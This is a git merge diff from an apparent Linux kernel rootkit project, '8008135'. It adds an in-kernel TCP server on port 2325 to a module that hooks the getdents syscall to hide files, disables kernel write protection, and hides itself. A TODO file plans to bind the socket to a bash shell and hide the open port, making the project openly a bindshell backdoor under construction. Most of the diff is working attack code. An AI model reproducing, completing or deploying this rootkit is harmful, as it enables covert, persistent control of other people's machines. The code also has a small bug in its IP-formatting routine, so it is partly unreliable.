Merge branch 'dev_vlr'

Makefile

@@ -19,12 +19,13 @@ INCL_H		:= $(PWD)/$(INCL_S)/headers
 obj-m += $(MNAME).o
 # Core
 $(MNAME)-y 	+= src/$(MNAME).o
+$(MNAME)-y  += src/50ck3t.o
 
 # Includes for header files etc
 ccflags-y	:= -I$(SRCS_H) -I$(LIBS_H) -I$(INCL_H)
 
 all:
-	$(shell $(SRCS_S)/create_sysgen.sh)
+	$(shell $(SRCS_S)/cr3473_5y563n.sh)
 	$(MAKE) -C $(BUILDDIR) M=$(PWD) modules
 
 load:
@@ -34,5 +35,5 @@ unload:
 	rmmod $(MNAME)
 	
 clean:
-	-rm $(SRCS_H)/sysgen.h
+	-rm $(SRCS_H)/5y563n.h
 	$(MAKE) -C $(BUILDDIR) M=$(PWD) clean	

TODO.md

@@ -0,0 +1,10 @@
+# Pick One
+## TCP Socket
+* Add binding to shell:
+	* Incoming commands have to be redir to bash
+	* STDOUT, STDIN, STDERR Handling
+	* Remove chat, debug stuff
+* Hide open Port
+
+## Module
+* Hide itself

src/50ck3t.c

@@ -0,0 +1,544 @@
+/*
+ *
+ * NOTE:
+ * this is basically this guys code:
+ * https://github.com/abysamross/simple-linux-kernel-tcp-client-server.git
+ * his last update was 4 years ago, so there might be some changes,
+ * there definitely will be some regarding the data received/sent back since
+ * this is will be used as a bindshell
+ * but base is his work.
+ *
+ */
+
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+/**** includes *****************************************************************
+*******************************************************************************/
+#include "50ck3t.h"
+
+/**** types  *******************************************************************
+*******************************************************************************/
+struct tcp_conn_handler_data{
+        struct sockaddr_in *FAddress;
+        struct socket *FAcceptSocket;
+        int FThreadID;
+};
+
+struct tcp_conn_handler{
+        struct tcp_conn_handler_data *data[MAX_CONNS];
+        struct task_struct *thread[MAX_CONNS];
+        int tcp_conn_handler_stopped[MAX_CONNS];
+};
+
+struct tcp_conn_handler *STCPConnHandler;
+
+
+struct tcp_server_service{
+      int FRunning;
+      struct socket *FListenSocket;
+      struct task_struct *FThread;
+      struct task_struct *FAccpeptThread;
+};
+
+struct tcp_server_service *FTCPServer_Service;
+
+
+
+/**** var **********************************************************************
+*******************************************************************************/
+static int STCPListenerStopped = 0;
+static int STCPAcceptorStopped = 0;
+
+
+char *inet_ntoa(struct in_addr *AInAddr){
+        char *LIPAddr = NULL;
+        u_int32_t LIPInt = 0;
+
+        LIPAddr = kmalloc(16 * sizeof(char), GFP_KERNEL);
+
+        if(!LIPAddr)
+                return NULL;
+        else
+                memset(LIPAddr, 0, 16);
+
+        LIPInt = AInAddr->s_addr;
+
+        sprintf(LIPAddr, "%d.%d.%d.%d", (LIPInt) & 0xFF, (LIPInt >> 8) & 0xFF,
+                                 (LIPInt >> 16) & 0xFF, (LIPInt >> 16) & 0xFF);
+
+        return LIPAddr;
+}
+
+int tcp_server_send(struct socket *ASocket, int AID, const char *ABuf,\
+                const size_t ALength, unsigned long AFlags){
+        struct msghdr LMsgHeader;
+        struct kvec LVec;
+        int LLen, LWritten, LLeft;
+        mm_segment_t LOldMM;
+
+        LWritten = 0;
+        LLeft = ALength;
+
+        LMsgHeader.msg_name    = 0;
+        LMsgHeader.msg_namelen = 0;
+        LMsgHeader.msg_control = NULL;
+        LMsgHeader.msg_controllen = 0;
+        LMsgHeader.msg_flags = AFlags;
+        LMsgHeader.msg_flags   = 0;
+
+        LOldMM = get_fs(); set_fs(KERNEL_DS);
+
+repeat_send:
+        LVec.iov_len = LLeft;
+        LVec.iov_base = (char *)ABuf + LWritten;
+
+        LLen = kernel_sendmsg(ASocket, &LMsgHeader, &LVec, LLeft, LLeft);
+
+        if((LLen == -ERESTARTSYS) || (!(AFlags & MSG_DONTWAIT) &&\
+                                (LLen == -EAGAIN)))
+                goto repeat_send;
+
+        if(LLen > 0){
+                LWritten += LLen;
+                LLeft -= LLen;
+                if(LLeft)
+                        goto repeat_send;
+        }
+
+        set_fs(LOldMM);
+        return LWritten?LWritten:LLen;
+}
+
+int tcp_server_receive(struct socket *ASock, int AID,struct sockaddr_in *AAddress,\
+                unsigned char *ABuf,int ASize, unsigned long AFlags){
+        struct msghdr LMsgHeader;
+        struct kvec LVec;
+        int LLen;
+        char *LTmp = NULL;
+
+        if(ASock==NULL){
+                pr_info(" *** mtp | tcp server receive socket is NULL| "
+                        " tcp_server_receive *** \n");
+                return -1;
+        }
+
+        LMsgHeader.msg_name = 0;
+        LMsgHeader.msg_namelen = 0;
+        LMsgHeader.msg_control = NULL;
+        LMsgHeader.msg_controllen = 0;
+        LMsgHeader.msg_flags = AFlags;
+
+        LVec.iov_len = ASize;
+        LVec.iov_base = ABuf;
+
+read_again:
+        if(!skb_queue_empty(&ASock->sk->sk_receive_queue))
+                pr_info("recv queue empty ? %s \n",
+                skb_queue_empty(&ASock->sk->sk_receive_queue)?"yes":"no");
+
+        LLen = kernel_recvmsg(ASock, &LMsgHeader, &LVec, ASize, ASize, AFlags);
+
+        if(LLen == -EAGAIN || LLen == -ERESTARTSYS)
+                goto read_again;
+
+        LTmp = inet_ntoa(&(AAddress->sin_addr));
+
+        pr_info("client-> %s:%d, says: %s\n", LTmp, ntohs(AAddress->sin_port), ABuf);
+
+        kfree(LTmp);
+        return LLen;
+}
+
+int connection_handler(void *AData){
+       struct tcp_conn_handler_data *LConnData =
+               (struct tcp_conn_handler_data *)AData;
+
+       struct sockaddr_in *LAddress = LConnData->FAddress;
+       struct socket *LAcceptSocket = LConnData->FAcceptSocket;
+       int LID = LConnData->FThreadID;
+
+       int LRet;
+       int LLen = 49;
+       unsigned char LInBuf[LLen+1];
+       unsigned char LOutBuf[LLen+1];
+
+
+       DECLARE_WAITQUEUE(recv_wait, current);
+       allow_signal(SIGKILL|SIGSTOP);
+
+       while(1){
+              add_wait_queue(&LAcceptSocket->sk->sk_wq->wait, &recv_wait);
+
+              while(skb_queue_empty(&LAcceptSocket->sk->sk_receive_queue)){
+                      __set_current_state(TASK_INTERRUPTIBLE);
+                      schedule_timeout(HZ);
+
+                      if(kthread_should_stop()){
+                              pr_info(" *** mtp | tcp server handle connection "
+                                "thread stopped | connection_handler *** \n");
+
+                              //tcp_conn_handler->thread[id] = NULL;
+                              STCPConnHandler->tcp_conn_handler_stopped[LID]= 1;
+
+                              __set_current_state(TASK_RUNNING);
+                              remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait,\
+                                              &recv_wait);
+                              kfree(STCPConnHandler->data[LID]->FAddress);
+                              kfree(STCPConnHandler->data[LID]);
+                              sock_release(STCPConnHandler->data[LID]->FAcceptSocket);
+                              return 0;
+                      }
+
+                      if(signal_pending(current)){
+                              __set_current_state(TASK_RUNNING);
+                              remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait,\
+                                              &recv_wait);
+                              goto out;
+                      }
+              }
+              __set_current_state(TASK_RUNNING);
+              remove_wait_queue(&LAcceptSocket->sk->sk_wq->wait, &recv_wait);
+
+
+              pr_info("receiving message\n");
+              memset(LInBuf, 0, LLen+1);
+              LRet = tcp_server_receive(LAcceptSocket, LID, LAddress, LInBuf, LLen,\
+                                       MSG_DONTWAIT);
+              if(LRet > 0){
+                      if(memcmp(LInBuf, "HOLA", 4) == 0){
+                              memset(LOutBuf, 0, LLen+1);
+                              strcat(LOutBuf, "HOLASI");
+                              pr_info("sending response: %s\n", LOutBuf);
+                              tcp_server_send(LAcceptSocket, LID, LOutBuf,\
+                                              strlen(LOutBuf), MSG_DONTWAIT);
+                      }
+                      if(memcmp(LInBuf, "ADIOS", 5) == 0){
+                              memset(LOutBuf, 0, LLen+1);
+                              strcat(LOutBuf, "ADIOSAMIGO");
+                              pr_info("sending response: %s\n", LOutBuf);
+                              tcp_server_send(LAcceptSocket, LID, LOutBuf,\
+                                              strlen(LOutBuf), MSG_DONTWAIT);
+                              break;
+                      }
+              }
+       }
+
+out:
+       STCPConnHandler->tcp_conn_handler_stopped[LID]= 1;
+       kfree(STCPConnHandler->data[LID]->FAddress);
+       kfree(STCPConnHandler->data[LID]);
+       sock_release(STCPConnHandler->data[LID]->FAcceptSocket);
+       STCPConnHandler->thread[LID] = NULL;
+       do_exit(0);
+}
+
+int tcp_server_accept(void){
+        int LAcceptErr = 0;
+        struct socket *LSocket;
+        struct socket *LAcceptSocket = NULL;
+        struct inet_connection_sock *LISock;
+        int LID = 0;
+        DECLARE_WAITQUEUE(accept_wait, current);
+        allow_signal(SIGKILL|SIGSTOP);
+        LSocket = FTCPServer_Service->FListenSocket;
+        pr_info(" *** mtp | creating the accept socket | tcp_server_accept "
+                "*** \n");
+
+        while(1){
+                struct tcp_conn_handler_data *LTCPConnHData = NULL;
+                struct sockaddr_in *LClient = NULL;
+                char *LTmp;
+                int addr_len;
+
+                LAcceptErr =
+                        sock_create(LSocket->sk->sk_family, LSocket->type,\
+                                    LSocket->sk->sk_protocol, &LAcceptSocket);
+
+                if(LAcceptErr < 0 || !LAcceptSocket){
+                        pr_info(" *** mtp | accept_error: %d while creating "
+                                "tcp server accept socket | "
+                                "tcp_server_accept *** \n", LAcceptErr);
+                        goto err;
+                }
+
+                LAcceptSocket->type = LSocket->type;
+                LAcceptSocket->ops  = LSocket->ops;
+
+                LISock = inet_csk(LSocket->sk);
+
+
+               add_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait);
+               while(reqsk_queue_empty(&LISock->icsk_accept_queue)){
+                       __set_current_state(TASK_INTERRUPTIBLE);
+                       schedule_timeout(HZ);
+                       if(kthread_should_stop()){
+                               pr_info(" *** mtp | tcp server acceptor thread "
+                                       "stopped | tcp_server_accept *** \n");
+                               STCPAcceptorStopped = 1;
+                               __set_current_state(TASK_RUNNING);
+                               remove_wait_queue(&LSocket->sk->sk_wq->wait,\
+                                               &accept_wait);
+                               sock_release(LAcceptSocket);
+                               return 0;
+                       }
+
+                       if(signal_pending(current)){
+                               __set_current_state(TASK_RUNNING);
+                               remove_wait_queue(&LSocket->sk->sk_wq->wait,\
+                                               &accept_wait);
+                               goto release;
+                       }
+
+               }
+               __set_current_state(TASK_RUNNING);
+               remove_wait_queue(&LSocket->sk->sk_wq->wait, &accept_wait);
+
+               pr_info("accept connection\n");
+
+               LAcceptErr =
+                       LSocket->ops->accept(LSocket, LAcceptSocket, O_NONBLOCK);
+
+               if(LAcceptErr < 0){
+                       pr_info(" *** mtp | accept_error: %d while accepting "
+                               "tcp server | tcp_server_accept *** \n",
+                               LAcceptErr);
+                       goto release;
+               }
+
+               LClient = kmalloc(sizeof(struct sockaddr_in), GFP_KERNEL);
+               memset(LClient, 0, sizeof(struct sockaddr_in));
+
+               addr_len = sizeof(struct sockaddr_in);
+
+               LAcceptErr =
+               LAcceptSocket->ops->getname(LAcceptSocket,\
+                               (struct sockaddr *)LClient,\
+                               &addr_len, 2);
+
+               if(LAcceptErr < 0){
+                       pr_info(" *** mtp | accept_error: %d in getname "
+                               "tcp server | tcp_server_accept *** \n",
+                               LAcceptErr);
+                       goto release;
+               }
+
+
+               LTmp = inet_ntoa(&(LClient->sin_addr));
+
+               pr_info("connection from: %s %d \n",
+                       LTmp, ntohs(LClient->sin_port));
+
+               kfree(LTmp);
+
+               pr_info("handle connection\n");
+
+
+               for(LID = 0; LID < MAX_CONNS; LID++){
+                        if(STCPConnHandler->thread[LID] == NULL)
+                                break;
+               }
+
+               pr_info("gave free id: %d\n", LID);
+
+               if(LID == MAX_CONNS)
+                       goto release;
+
+               LTCPConnHData = kmalloc(sizeof(struct tcp_conn_handler_data), GFP_KERNEL);
+               memset(LTCPConnHData, 0, sizeof(struct tcp_conn_handler_data));
+
+               LTCPConnHData->FAddress = LClient;
+               LTCPConnHData->FAcceptSocket = LAcceptSocket;
+               LTCPConnHData->FThreadID = LID;
+
+               STCPConnHandler->tcp_conn_handler_stopped[LID] = 0;
+               STCPConnHandler->data[LID] = LTCPConnHData;
+               STCPConnHandler->thread[LID] =
+               kthread_run((void *)connection_handler, (void *)LTCPConnHData, MODULE_NAME);
+
+               if(kthread_should_stop()){
+                       pr_info(" *** mtp | tcp server acceptor thread stopped"
+                               " | tcp_server_accept *** \n");
+                       STCPAcceptorStopped = 1;
+                       return 0;
+               }
+
+               if(signal_pending(current)){
+                       break;
+               }
+
+        }
+
+
+        STCPAcceptorStopped = 1;
+        do_exit(0);
+release:
+       sock_release(LAcceptSocket);
+err:
+       STCPAcceptorStopped = 1;
+       do_exit(0);
+}
+
+int tcp_server_listen(void)
+{
+        int LServerErr;
+        struct socket *LConnSocket;
+        struct sockaddr_in LServer;
+
+        DECLARE_WAIT_QUEUE_HEAD(wq);
+
+        allow_signal(SIGKILL|SIGTERM);
+
+        LServerErr = sock_create(PF_INET, SOCK_STREAM, IPPROTO_TCP,\
+                                &FTCPServer_Service->FListenSocket);
+        if(LServerErr < 0){
+                pr_info(" *** mtp | Error: %d while creating tcp server "
+                        "listen socket | tcp_server_listen *** \n", LServerErr);
+                goto err;
+        }
+
+        LConnSocket = FTCPServer_Service->FListenSocket;
+        FTCPServer_Service->FListenSocket->sk->sk_reuse = 1;
+
+        LServer.sin_addr.s_addr = INADDR_ANY;
+        LServer.sin_family = AF_INET;
+        LServer.sin_port = htons(DEFAULT_PORT);
+
+        LServerErr =
+        LConnSocket->ops->bind(LConnSocket, (struct sockaddr*)&LServer,\
+                        sizeof(LServer));
+
+        if(LServerErr < 0){
+                pr_info(" *** mtp | Error: %d while binding tcp server "
+                        "listen socket | tcp_server_listen *** \n", LServerErr);
+                goto release;
+        }
+
+        LServerErr = LConnSocket->ops->listen(LConnSocket, 16);
+
+        if(LServerErr < 0){
+                pr_info(" *** mtp | Error: %d while listening in tcp "
+                        "server listen socket | tcp_server_listen "
+                        "*** \n", LServerErr);
+                        goto release;
+        }
+
+        FTCPServer_Service->FAccpeptThread =
+                kthread_run((void*)tcp_server_accept, NULL, MODULE_NAME);
+
+        while(1){
+                wait_event_timeout(wq, 0, 3*HZ);
+
+                if(kthread_should_stop()){
+                        pr_info(" *** mtp | tcp server listening thread"
+                                " stopped | tcp_server_listen *** \n");
+                        return 0;
+                }
+
+                if(signal_pending(current))
+                        goto release;
+        }
+
+
+        sock_release(LConnSocket);
+        STCPListenerStopped = 1;
+        do_exit(0);
+release:
+        sock_release(LConnSocket);
+err:
+        STCPListenerStopped = 1;
+        do_exit(0);
+}
+
+int tcp_server_start(void){
+        FTCPServer_Service->FRunning = 1;
+        FTCPServer_Service->FThread = kthread_run((void *)tcp_server_listen, NULL,\
+                                        MODULE_NAME);
+        return 0;
+}
+
+int network_server_init(void){
+        pr_info(" *** mtp | network_server initiated | "
+                "network_server_init ***\n");
+        FTCPServer_Service = kmalloc(sizeof(struct tcp_server_service), GFP_KERNEL);
+        memset(FTCPServer_Service, 0, sizeof(struct tcp_server_service));
+
+        STCPConnHandler = kmalloc(sizeof(struct tcp_conn_handler), GFP_KERNEL);
+        memset(STCPConnHandler, 0, sizeof(struct tcp_conn_handler));
+
+        tcp_server_start();
+        return 0;
+}
+
+void network_server_exit(void){
+        int ret;
+        int id;
+
+        if(FTCPServer_Service->FThread == NULL)
+                pr_info(" *** mtp | No kernel thread to kill | "
+                        "network_server_exit *** \n");
+        else
+        {
+                for(id = 0; id < MAX_CONNS; id++)
+                {
+                        if(STCPConnHandler->thread[id] != NULL)
+                        {
+
+                        if(!STCPConnHandler->tcp_conn_handler_stopped[id])
+                                {
+                                        ret =
+                                kthread_stop(STCPConnHandler->thread[id]);
+
+                                        if(!ret)
+                                                pr_info(" *** mtp | tcp server "
+                                                "connection handler thread: %d "
+                                                "stopped | network_server_exit "
+                                                "*** \n", id);
+                                }
+                       }
+                }
+
+                if(!STCPAcceptorStopped)
+                {
+                        ret = kthread_stop(FTCPServer_Service->FAccpeptThread);
+                        if(!ret)
+                                pr_info(" *** mtp | tcp server acceptor thread"
+                                        " stopped | network_server_exit *** \n");
+                }
+
+                if(!STCPListenerStopped)
+                {
+                        ret = kthread_stop(FTCPServer_Service->FThread);
+                        if(!ret)
+                                pr_info(" *** mtp | tcp server listening thread"
+                                        " stopped | network_server_exit *** \n");
+                }
+
+
+                if(FTCPServer_Service->FListenSocket != NULL && !STCPListenerStopped)
+                {
+                        sock_release(FTCPServer_Service->FListenSocket);
+                        FTCPServer_Service->FListenSocket = NULL;
+                }
+
+                kfree(STCPConnHandler);
+                kfree(FTCPServer_Service);
+                FTCPServer_Service = NULL;
+        }
+
+}

src/8008135.c

@@ -20,6 +20,7 @@
 /**** includes *****************************************************************
 *******************************************************************************/
 #include "8008135.h"
+#include "50ck3t.h"
 /****  var  ********************************************************************
 *******************************************************************************/
 
@@ -33,7 +34,7 @@ sys_getdents_t sys_getdents_orig = NULL;
 *******************************************************************************/
 asmlinkage long sys_getdents_new(unsigned int fd,
                                  struct linux_dirent __user *dirent,
-                                 unsigned int count) {
+                                 unsigned int count){
 	int boff;
 	struct linux_dirent* ent;
 
@@ -54,7 +55,7 @@ asmlinkage long sys_getdents_new(unsigned int fd,
 
 		// if it has hide prefix or module name anywhere, hide it
 		if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
-			          || (strstr(ent->d_name, MODULE_NAME) != NULL)) {
+			 || (strstr(ent->d_name, MODULE_NAME) != NULL)) {
 #if defined DEBUG
 			printk("\n hide prefix or mod name contained!\n");
 			printk("\n ret %ld\n ", ret);
@@ -119,6 +120,7 @@ static int __init init_8008135(void) {
 	write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
 
 	printk(KERN_INFO "New syscall in place\n");
+	network_server_init();
 	
 	hide_module();
 	printk(KERN_INFO "Module hidden");
@@ -133,6 +135,7 @@ static int __init init_8008135(void) {
 *       RETURNS:  -
 *******************************************************************************/
 static void __exit exit_8008135(void) {
+	network_server_exit();
 	// allow us to write to read onlu pages
 	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
 	// set getdents handler back

src/cr3473_5y563n.sh

@@ -1,7 +1,7 @@
 #!/usr/bin/env bash
 SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
 SRCS_H="$SCRIPTPATH""/headers"
-SGENH="$SRCS_H""/sysgen.h"
+SGENH="$SRCS_H""/5y563n.h"
 
 smap="/boot/System.map-$(uname -r)"
 

src/headers/50ck3t.h

@@ -0,0 +1,50 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+#ifndef SRC_HEADERS_50CK3T_H_
+#define SRC_HEADERS_50CK3T_H_
+
+/**** includes *****************************************************************
+*******************************************************************************/
+#include <linux/init.h>
+#include <linux/slab.h>
+#include <linux/kthread.h>
+
+#include <linux/errno.h>
+#include <linux/types.h>
+
+#include <linux/netdevice.h>
+#include <linux/ip.h>
+#include <linux/in.h>
+
+#include <linux/unistd.h>
+#include <linux/wait.h>
+
+#include <net/sock.h>
+#include <net/tcp.h>
+#include <net/inet_connection_sock.h>
+#include <net/request_sock.h>
+
+#define DEFAULT_PORT 2325
+#define MAX_CONNS 16
+#define MODULE_NAME "8008135"
+
+int network_server_init(void);
+void network_server_exit(void);
+
+#endif /* SRC_HEADERS_50CK3T_H_ */

src/headers/8008135.h

@@ -26,7 +26,7 @@
 #include <asm/special_insns.h>
 #include <linux/string.h>
 #include <linux/fs.h>
-#include "sysgen.h"
+#include "5y563n.h"
 
 
 /****  Defines *****************************************************************
@@ -44,7 +44,7 @@
 /****  Modinfo  ****************************************************************
 *******************************************************************************/
 
-MODULE_LICENSE("GPLv3");
+MODULE_LICENSE("GPL");
 MODULE_AUTHOR("JanKoernerEnterprises");
 MODULE_DESCRIPTION("8008135");
 MODULE_VERSION("0.1");